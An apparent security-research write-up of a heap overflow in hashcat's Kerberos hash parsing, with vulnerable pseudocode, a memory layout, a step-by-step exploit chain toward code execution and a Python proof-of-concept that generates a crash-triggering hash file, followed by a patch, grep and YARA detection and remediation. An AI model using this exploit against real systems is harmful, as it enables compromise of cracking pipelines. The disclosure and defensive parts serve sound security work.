home intel cve-2026-42483-hashcat-kerberos-heap-overflow-rce
CVE Analysis 2026-05-01 · 8 min read

CVE-2026-42483: Heap Overflow in Hashcat Kerberos Hash Parser

A missing bounds check in hashcat's Kerberos module_hash_decode allows account_info_len to be attacker-controlled, enabling heap overflow via memcpy into a fixed-size buffer. CVSS 9.8.

#buffer-overflow#kerberos-hash#hashcat#memory-corruption#remote-code-execution
Technical mode — for security professionals
▶ Attack flow — CVE-2026-42483 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-42483Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-42483 is a heap-based buffer overflow in hashcat v7.1.2 affecting all Kerberos-related hash parsing modules. The vulnerability exists in module_hash_decode across modules handling Kerberos 5 ticket formats (AS-REQ, TGS-REP, AP-REQ pre-auth, and etype 17/18/23 variants). An attacker can supply a crafted hash file where delimiter-delimited fields yield a calculated account_info_len that exceeds the fixed-size account_info stack or heap buffer, triggering a memcpy overflow.

The CVSS score of 9.8 reflects network-accessible attack surface: hashcat is frequently invoked in automated pipelines and CI systems where hash files arrive from untrusted sources. No authentication is required; the malicious payload is the hash file itself.

Root cause: account_info_len is derived entirely from attacker-controlled delimiter positions within the hash string and is never validated against the fixed size of the destination account_info buffer before being passed to memcpy.

Affected Component

The bug is present in multiple modules under OpenCL/ and their corresponding CPU-side hash decoders in src/modules/. Specifically, any module implementing the Kerberos 5 hash format that calls into the shared module_hash_decode path is affected. This includes but is not limited to:

  • module_18200.c — Kerberos 5 AS-REP etype 23
  • module_19600.c — Kerberos 5 TGS-REP etype 17
  • module_19700.c — Kerberos 5 TGS-REP etype 18
  • module_13100.c — Kerberos 5 TGS-REP etype 23
  • module_19800.c — Kerberos 5 AS-REQ etype 17/18

The shared parsing logic that calculates account_info_len from $-delimited fields is what all of these modules have in common. The buffer overflow occurs on the heap when account_info is heap-allocated via hcmalloc, or on the stack in modules where it is declared as a fixed-size local array.

Root Cause Analysis

Kerberos hash strings in hashcat use a $-delimited format. The account info segment — typically username and realm — is bounded by specific delimiter positions. The parser locates these delimiters with pointer arithmetic and computes a length directly from the difference, then copies that many bytes into a buffer whose size is fixed at compile time.


// From src/modules/module_18200.c (representative of all affected modules)
// module_hash_decode — simplified pseudocode from source analysis

#define ACCOUNT_INFO_BUF_SIZE 512  // fixed upper bound, never enforced

typedef struct krb5asrep {
    /* ... ticket fields ... */
    char   account_info[ACCOUNT_INFO_BUF_SIZE];
    u32    account_info_len;
    /* ... */
} krb5asrep_t;

int module_hash_decode(const hashconfig_t *hashconfig,
                       void *digest, salt_t *salt,
                       void *esalt, void *hook_salt,
                       const char *line_buf, const int line_len)
{
    krb5asrep_t *krb5asrep = (krb5asrep_t *) esalt;

    const char *pos = line_buf;

    // Skip leading "$krb5asrep$23$" header token
    // pos now points into the user-controlled hash body

    const char *account_info_start = pos;

    // Locate the delimiter separating account_info from the hash body
    const char *account_info_end = strchr(pos, '$');
    if (account_info_end == NULL) return (PARSER_SEPARATOR_VALUE_MISSING);

    // BUG: account_info_len is calculated purely from delimiter positions
    // in attacker-controlled input. No upper-bound check against
    // ACCOUNT_INFO_BUF_SIZE (512) before the memcpy below.
    u32 account_info_len = account_info_end - account_info_start;

    krb5asrep->account_info_len = account_info_len;

    // BUG: memcpy with attacker-controlled length into fixed 512-byte buffer.
    // Supplying account_info_len > 512 overflows into adjacent heap chunk.
    memcpy(krb5asrep->account_info, account_info_start, account_info_len);

    pos = account_info_end + 1;

    // ... remainder of field parsing ...
    return (PARSER_OK);
}

The function returns PARSER_OK regardless of whether the copy overflowed. Downstream code trusts account_info_len and accesses up to that many bytes of the now-corrupted buffer.

Memory Layout

The krb5asrep_t esalt structure is allocated via hcmalloc per hash line during the initial load phase. Understanding its layout is critical to understanding what gets corrupted.


// Reconstructed struct layout for krb5asrep_t (module_18200)
// Total size: ~0x4C0 bytes depending on platform alignment

typedef struct krb5asrep {
    /* +0x000 */ u32    checksum[4];          // 16 bytes — Kerberos checksum
    /* +0x010 */ u32    edata2[4096];         // encrypted ticket blob (heap ptr variant)
    /* +0x410 */ u32    edata2_len;           // length of edata2
    /* +0x414 */ u32    account_info_len;     // attacker-controlled length
    /* +0x418 */ char   account_info[512];    // FIXED 512-byte buffer  <-- overflow target
    /* +0x618 */ u32    user_len;
    /* +0x61c */ u32    domain_len;
    /* +0x620 */ char   user[128];
    /* +0x6a0 */ char   domain[128];
    /* +0x720 */ ...
} krb5asrep_t;

HEAP STATE BEFORE OVERFLOW (single hash line loaded):

[ hcmalloc: krb5asrep_t  ~0x720 bytes ]
  +0x414  account_info_len  = 0x00000006   (e.g. "user@R")
  +0x418  account_info[512] = "user@R\0..."
[ hcmalloc: next esalt or hash_t allocation ]
  +0x000  (valid chunk header / next struct)

HEAP STATE AFTER OVERFLOW (account_info_len = 0x400, crafted input):

[ hcmalloc: krb5asrep_t ]
  +0x414  account_info_len  = 0x00000400   (1024 — double the buffer)
  +0x418  account_info[512] = "AAAA...AAAA" (512 bytes, fills buffer)
  +0x618  user_len          = 0x41414141   (CORRUPTED — attacker data)
  +0x61c  domain_len        = 0x41414141   (CORRUPTED)
  +0x620  user[128]         = "AAAA..."    (CORRUPTED)
[ hcmalloc: next allocation — chunk header overwritten ]
  +0x000  size/prev_size    = 0x41414141   (CORRUPTED chunk metadata)

On glibc, corrupting the forward chunk's size field with attacker-controlled bytes is sufficient to achieve exploitation via malloc/free primitives on subsequent hash line processing. On musl or jemalloc, the primitive is slightly different but the overflow is equivalent.

Exploitation Mechanics

Exploitation requires delivering a crafted .hash file to a hashcat process. In automated cracking pipelines (e.g., Hashtopolis agents, CI-based credential auditing), this is a realistic remote vector. Local exploitation against a user invoking hashcat directly is trivially achievable.


EXPLOIT CHAIN:

1. Craft a Kerberos 5 AS-REP etype 23 hash line (module 18200):
   $krb5asrep$23$[account_info][hash_fields]
   Set account_info segment to 1024 bytes of controlled data
   (place between the leading token and first subsequent '$')

2. hashcat opens the file and calls hash_decode() for each line.
   module_hash_decode invoked for -m 18200.

3. account_info_end = strchr(pos, '$') — succeeds, points 1024 bytes in.
   account_info_len = 1024. No bounds check. Stored to esalt->account_info_len.

4. memcpy(krb5asrep->account_info, pos, 1024) fires.
   512 bytes fill the buffer legitimately.
   Remaining 512 bytes overflow into adjacent heap region:
   - Bytes 0x000-0x1FF: overwrite user_len, domain_len, user[], domain[]
   - Bytes 0x200-0x3FF: overwrite next heap chunk metadata

5. Craft second hash line in same file. When hashcat processes it,
   malloc() consults the corrupted chunk metadata. On glibc ptmalloc:
   - Unsorted bin insertion or consolidation uses corrupted fd/bk pointers
   - Achieves arbitrary write primitive via unlink or tcache poisoning

6. Overwrite a function pointer in hashcat's dispatch table or a GOT
   entry reachable from the OpenCL host dispatch path.

7. Arbitrary code execution under the hashcat process context.

A reliable proof-of-concept for DoS (process crash via heap metadata corruption) requires only step 1–4. Steps 5–7 require heap feng shui to control the layout of adjacent allocations, achievable by supplying a file with a controlled number of valid hash lines before the malicious one to groom the heap.


# PoC: generate a crash-triggering hash file
# Targets module 18200 (krb5asrep etype 23)

import sys

OVERFLOW_LEN = 1024  # double the 512-byte buffer

# Minimal valid-looking etype23 suffix (16 bytes checksum + placeholder edata2)
checksum_hex = "a" * 32               # 16 bytes as hex
edata2_hex   = "b" * 64              # truncated — parser crashes before validating

account_info = "A" * OVERFLOW_LEN    # triggers overflow on memcpy

line = f"$krb5asrep$23${account_info}${checksum_hex}${edata2_hex}\n"

with open("crash.hash", "w") as f:
    # Heap groom: fill tcache bins with same-size allocs
    for _ in range(8):
        valid_acct = "user@REALM.LOCAL"
        f.write(f"$krb5asrep$23${valid_acct}${checksum_hex}${edata2_hex}\n")
    # Trigger payload
    f.write(line)

print(f"[*] Written crash.hash — run: hashcat -m 18200 crash.hash wordlist.txt")
print(f"[*] Expected: SIGSEGV or SIGABRT in hcmalloc/free path")

Patch Analysis

The fix is straightforward: validate account_info_len against the destination buffer size before the memcpy. The patch should be applied to every module_hash_decode function in all affected Kerberos modules.


// BEFORE (vulnerable — all affected modules):
u32 account_info_len = account_info_end - account_info_start;

krb5asrep->account_info_len = account_info_len;

// No bounds check — memcpy with attacker-controlled length
memcpy(krb5asrep->account_info, account_info_start, account_info_len);


// AFTER (patched):
u32 account_info_len = account_info_end - account_info_start;

// BUG FIX: reject any hash line where account_info exceeds buffer capacity.
// ACCOUNT_INFO_BUF_SIZE is 512; leave one byte for null terminator.
if (account_info_len >= ACCOUNT_INFO_BUF_SIZE) return (PARSER_SALT_LENGTH);

krb5asrep->account_info_len = account_info_len;

memcpy(krb5asrep->account_info, account_info_start, account_info_len);
krb5asrep->account_info[account_info_len] = '\0';  // explicit null termination

The appropriate parser error return is PARSER_SALT_LENGTH, which hashcat treats as a non-fatal per-line rejection — the file continues processing with remaining lines. Using PARSER_SEPARATOR_VALUE_MISSING would also be acceptable. The null-termination addition is a hardening improvement beyond the minimum fix: several display paths in hashcat pass account_info directly to printf format strings without length limiting.

An equivalent fix using a size-bounded copy is also valid:


// Alternative: clamp rather than reject (loses data but avoids crash)
if (account_info_len >= ACCOUNT_INFO_BUF_SIZE)
    account_info_len = ACCOUNT_INFO_BUF_SIZE - 1;

krb5asrep->account_info_len = account_info_len;
memcpy(krb5asrep->account_info, account_info_start, account_info_len);
krb5asrep->account_info[account_info_len] = '\0';

The rejection approach is preferable — silently truncating a Kerberos principal name would produce incorrect hash comparisons, not just a security fix.

Detection and Indicators

Detection should target both static file analysis and runtime behavior.

Static hash file inspection: Any $krb5-prefixed hash file where the account info field (between the mode prefix and the first subsequent $ after it) exceeds 511 bytes is malicious or malformed. A simple grep pattern:


# Flag lines where account_info segment exceeds 511 chars
# Pattern: $krb5[asrep|tgsrep|...]$[etype]$[FIELD_OVER_511_CHARS]$...

grep -P '^\$krb5[a-z]+\$\d+\$.{512,}\$' suspicious.hash

Runtime signals:

  • hashcat process terminating with SIGABRT during hash loading phase (before GPU kernels launch) — indicates heap metadata corruption detected by malloc's internal consistency checks
  • SIGSEGV in hcmalloc, hcfree, or module_hash_decode on AddressSanitizer builds — heap-buffer-overflow report on account_info
  • ASan crash signature: WRITE of size N at offset 512 in region of size 512 inside module_hash_decode
  • Valgrind: Invalid write of size 1 in memcpy called from module_hash_decode

YARA rule for malicious hash files:


rule CVE_2026_42483_Hashcat_Kerberos_Overflow {
    meta:
        description = "Detects crafted Kerberos hash files exploiting CVE-2026-42483"
        severity    = "critical"
    strings:
        // krb5 prefix followed by etype field followed by 512+ char account segment
        $krb5_overflow = /\$krb5[a-z]+\$[0-9]+\$[^\$]{512,}\$/
    condition:
        $krb5_overflow
}

Remediation

Immediate: Update hashcat to the patched version once released. Track the upstream commit that adds bounds validation to module_hash_decode in all Kerberos modules. Until then, validate all incoming hash files with the grep pattern above before passing them to hashcat.

Automated pipelines: Any system that accepts Kerberos hash files from network sources (Hashtopolis workers, pentesting automation platforms, SIEM-integrated cracking agents) and passes them to hashcat should add a preprocessing validation step. Reject any hash file containing lines where the account info segment exceeds ACCOUNT_INFO_BUF_SIZE - 1 (511) bytes.

Build hardening: Compile hashcat with -fsanitize=address in CI to catch this class of bug before release. The overflow would have been caught immediately on any test input with a long account field.

Affected version range: Consult NVD for the full affected version list. The issue is present in any hashcat version where the Kerberos modules share this parsing pattern without a bounds check — trace the git history of module_13100.c and module_18200.c for the introduction of the account_info buffer and memcpy to establish the range floor.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →